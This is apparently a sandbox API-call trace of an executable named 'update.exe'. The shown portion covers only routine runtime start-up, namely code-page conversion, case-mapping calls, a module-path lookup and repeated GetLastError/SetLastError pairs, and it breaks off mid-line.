[0033.993] IsValidCodePage (CodePage=0x4e4) returned 1 [0033.993] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0033.993] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0033.993] GetLastError () returned 0x0 [0033.993] SetLastError (dwErrCode=0x0) [0033.993] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f8e0 | out: lpCharType=0x18f8e0) returned 1 [0033.993] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0033.994] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0033.994] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0033.994] GetLastError () returned 0x0 [0033.994] SetLastError (dwErrCode=0x0) [0033.994] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0033.994] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0033.994] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ鼭뮓@Ā") returned 256 [0033.994] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ鼭뮓@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0033.994] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ鼭뮓@Ā", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0033.994] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xb9\xbd\xa7\xfb\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0033.994] GetLastError () returned 0x0 [0033.994] SetLastError (dwErrCode=0x0) [0033.994] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0033.994] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ鼭뮓@Ā") returned 256 [0033.994] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ鼭뮓@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0033.995] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ鼭뮓@Ā", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0033.995] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xb9\xbd\xa7\xfb\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0033.995] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x48e318, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\update.exe")) returned 0x30 [0033.995] GetLastError () returned 0x0 [0033.995] SetLastError (dwErrCode=0x0) [0033.995] GetLastError () returned 0x0 [0033.995] SetLastError (dwErrCode=0x0) [0033.995] GetLastError () returned 0x0 [0033.995] SetLastError (dwErrCode=0x0) [0033.995] GetLastError () returned 0x0 [0033.995] SetLastError (dwErrCode=0x0) [0033.995] GetLastError () returned 0x0 [0033.995] SetLastError (dwErrCode=0x0) [0033.995] GetLastError () returned 0x0 [0033.995] SetLastError (dwErrCode=0x0) [0033.995] GetLastError () returned 0x0 [0033.995] SetLastError (dwErrCode=0x0) [0033.995] GetLastError () returned 0x0 [0033.995] SetLastError (dwErrCode=0x0) [0033.995] GetLastError () returned 0x0 [0033.996] SetLastError (dwErrCode=0x0) [0033.996] GetLastError () returned 0x0 [0033.996] SetLastError (dwErrCode=0x0) [0033.996] GetLastError () returned 0x0 [0033.996] SetLastError (dwErrCode=0x0) [0033.996] GetLastError () returned 0x0 [0033.996] SetLastError (dwErrCode=0x0) [0033.996] GetLastError () returned 0x0 [0033.996] SetLastError (dwErrCode=0x0) [0033.996] GetLastError () returned 0x0 [0033.996] SetLastError (dwErrCode=0x0) [0033.996] GetLastError () returned 0x0 [0033.996] SetLastError (dwErrCode=0x0) [0033.996] GetLastError () returned 0x0 [0033.996] SetLastError (dwErrCode=0x0) [0033.996] GetLastError () returned 0x0 [0033.996] SetLastError (dwErrCode=0x0) [0033.996] GetLastError () returned 0x0 [0033.996] SetLastError (dwErrCode=0x0) [0033.996] GetLastError () returned 0x0 [0033.996] SetLastError (dwErrCode=0x0) [0033.996] GetLastError () returned 0x0 [0033.996] SetLastError (dwErrCode=0x0) [0033.997] GetLastError () returned 0x0 [0033.997] SetLastError (dwErrCode=0x0) [0033.997] GetLastError () returned 0x0 [0033.997] SetLastError (dwErrCode=0x0) [0033.997] GetLastError () returned 0x0 [0033.997] SetLastError (dwErrCode=0x0) [0033.997] GetLastError () returned 0x0 [0033.997] SetLastError (dwErrCode=0x0) [0033.997] GetLastError () returned 0x0 [0033.997] SetLastError (dwErrCode=0x0) [0033.997] GetLastError () returned 0x0 [0033.997] SetLastError (dwErrCode=0x0) [0033.997] GetLastError () returned 0x0 [0033.997] SetLastError (dwErrCode=0x0) [0033.997] GetLastError () returned 0x0 [0033.997] SetLastError (dwErrCode=0x0) [0033.997] GetLastError () returned 0x0 [0033.997] SetLastError (dwErrCode=0x0) [0033.997] GetLastError () returned 0x0 [0033.997] SetLastError (dwErrCode=0x0) [0033.997] GetLastError () returned 0x0 [0033.997] SetLastError (dwErrCode=0x0) [0033.997] GetLastError () returned 0x0 [0033.998] SetLastError (dwErrCode=0x0) [0033.998] GetLastError () returned 0x0 [0033.998] SetLastError (dwErrCode=0x0) [0033.998] GetLastError () returned 0x0 [0033.998] SetLastError (dwErrCode=0x0) [0033.998] GetLastError () returned 0x0 [0033.998] SetLastError (dwErrCode=0x0) [0033.998] GetLastError () returned 0x0 [0033.998] SetLastError (dwErrCode=0x0) [0033.998] GetLastError () returned 0x0 [0033.998] SetLastError (dwErrCode=0x0) [0033.998] GetLastError () returned 0x0 [0033.998] SetLastError (dwErrCode=0x0) [0033.998] GetLastError () returned 0x0 [0033.998] SetLastError (dwErrCode=0x0) [0033.998] GetLastError () returned 0x0 [0033.998] SetLastError (dwErrCode=0x0) [0033.998] GetLastError () returned 0x0 [0033.998] SetLastError (dwErrCode=0x0) [0033.998] GetLastError () returned 0x0 [0033.998] SetLastError (dwErrCode=0x0) [0033.998] GetLastError () returned 0x0 [0033.999] SetLastError (dwErrCode=0x0) [0033.999] GetLastError () returned 0x0 [0033.999] SetLastError (dwErrCode=0x0) [0033.999] GetLastError () returned 0x0 [0033.999] SetLastError (dwErrCode=0x0) [0033.999] GetLastError () returned 0x0 [0033.999] SetLastError (dwErrCode=0x0) [0033.999] GetLastError () returned 0x0 [0033.999] SetLastError (dwErrCode=0x0) [0033.999] GetLastError () returned 0x0 [0033.999] SetLastError (dwErrCode=0x0) [0033.999] GetLastError () returned 0x0 [0033.999] SetLastError (dwErrCode=0x0) [0033.999] GetLastError () returned 0x0 [0033.999] SetLastError (dwErrCode=0x0) [0033.999] GetLastError () returned 0x0 [0033.999] SetLastError (dwErrCode=0x0) [0033.999] GetLastError () returned 0x0 [0033.999] SetLastError (dwErrCode=0x0) [0033.999] GetLastError () returned 0x0 [0033.999] SetLastError (dwErrCode=0x0) [0033.999] GetLastError () returned 0x0 [0033.999] SetLastError (dwErrCode=0x0) [0034.000] GetLastError () returned 0x0 [0034.000] SetLastError (dwErrCode=0x0) [0034.000] GetLastError () returned 0x0 [0034.000] SetLastError (dwErrCode=0x0) [0034.000] GetLastError () returned 0x0 [0034.000] SetLastError (dwErrCode=0x0) [0034.000] GetLastError () returned 0x0 [0034.000] SetLastError (dwErrCode=0x0) [0034.000] GetLastError () returned 0x0 [0034.000] SetLastError (dwErrCode=0x0) [0034.000] GetLastError () returned 0x0 [0034.000] SetLastError (dwErrCode=0x0) [0034.000] GetLastError () returned 0x0 [0034.000] SetLastError (dwErrCode=0x0) [0034.000] GetLastError () returned 0x0 [0034.000] SetLastError (dwErrCode=0x0) [0034.000] GetLastError () returned 0x0 [0034.000] SetLastError (dwErrCode=0x0) [0034.000] GetLastError () returned 0x0 [0034.000] SetLastError (dwErrCode=0x0) [0034.000] GetLastError () returned 0x0 [0034.000] SetLastError (dwErrCode=0x0) [0034.000] GetLastError () returned 0x0 [0034.001] SetLastError (dwErrCode=0x0) [0034.001] GetLastError () returned 0x0 [0034.001] SetLastError (dwErrCode=0x0) [0034.001] GetLastError () returned 0x0 [0034.001] SetLastError (dwErrCode=0x0) [0034.001] GetLastError () returned 0x0 [0034.001] SetLastError (dwErrCode=0x0) [0034.001] GetLastError () returned 0x0 [0034.001] SetLastError (dwErrCode=0x0) [0034.001] GetLastError () returned 0x0 [0034.001] SetLastError (dwErrCode=0x0) [0034.001] GetLastError () returned 0x0 [0034.001] SetLastError (dwErrCode=0x0) [0034.001] GetLastError () returned 0x0 [0034.001] SetLastError (dwErrCode=0x0) [0034.001] GetLastError () returned 0x0 [0034.001] SetLastError (dwErrCode=0x0) [0034.001] GetLastError () returned 0x0 [0034.001] SetLastError (dwErrCode=0x0) [0034.001] GetLastError () returned 0x0 [0034.001] SetLastError (dwErrCode=0x0) [0034.001] GetLastError () returned 0x0 [0034.002] SetLastError (dwErrCode=0x0) [0034.002] GetLastError () returned 0x0 [0034.002] SetLastError (dwErrCode=0x0) [0034.002] GetLastError () returned 0x0 [0034.002] SetLastError (dwErrCode=0x0) [0034.002] GetLastError () returned 0x0 [0034.002] SetLastError (dwErrCode=0x0) [0034.002] GetLastError () returned 0x0 [0034.002] SetLastError (dwErrCode=0x0) [0034.002] GetLastError () returned 0x0 [0034.002] SetLastError (dwErrCode=0x0) [0034.002] GetLastError () returned 0x0 [0034.002] SetLastError (dwErrCode=0x0) [0034.002] GetLastError () returned 0x0 [0034.002] SetLastError (dwErrCode=0x0) [0034.002] GetLastError () returned 0x0 [0034.002] 